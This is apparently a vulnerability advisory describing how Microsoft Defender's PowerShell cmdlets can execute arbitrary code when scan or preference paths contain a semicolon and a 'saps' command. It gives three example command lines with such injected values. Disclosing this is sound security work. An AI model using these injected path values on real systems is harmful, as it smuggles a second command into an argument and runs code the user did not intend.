Microsoft Defender Anti-Malware PowerShell API - Arbitrary Code Execution

[hyp3rlinx <apparitionsec () gmail com>]

[+] Credits: John Page (aka hyp3rlinx)
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[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
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[Vendor]
www.microsoft.com


[Product]
Windows PowerShell


[Vulnerability Type]
Arbitrary Code Execution


[CVE Reference]
N/A


[Security Issue]
Microsoft Defender Anti Malware and or PS API's can result in executing
arbitrary code.
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute
unintended code.
This vector builds upon my previous advisory and subsequent project
PSTrojanFile.

Requirements:
1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell
from another script
2) Executable file of same name as the parameter that lives nearby

Examples:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps
Helper;.1.zip"
(Helper.exe lives on Desktop)

Create directory  ";saps Test", Test.exe, Test.cmd etc is on same CL path
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications
";saps Test"

Create directory with semicolon, drop PE file named doom.exe in same path.
powershell Set-ProcessMitigation -PolicyFilePath  "test;saps doom"

TODO: Update PSTrojanFile

[References]
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
https://github.com/hyp3rlinx/PSTrojanFile
https://www.exploit-db.com/exploits/47248
https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender


[Video PoC URL]
https://www.youtube.com/watch?v=0Go6yJiRWP8


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification:  circa (2019)
December 7, 2023 : Public Disclosure


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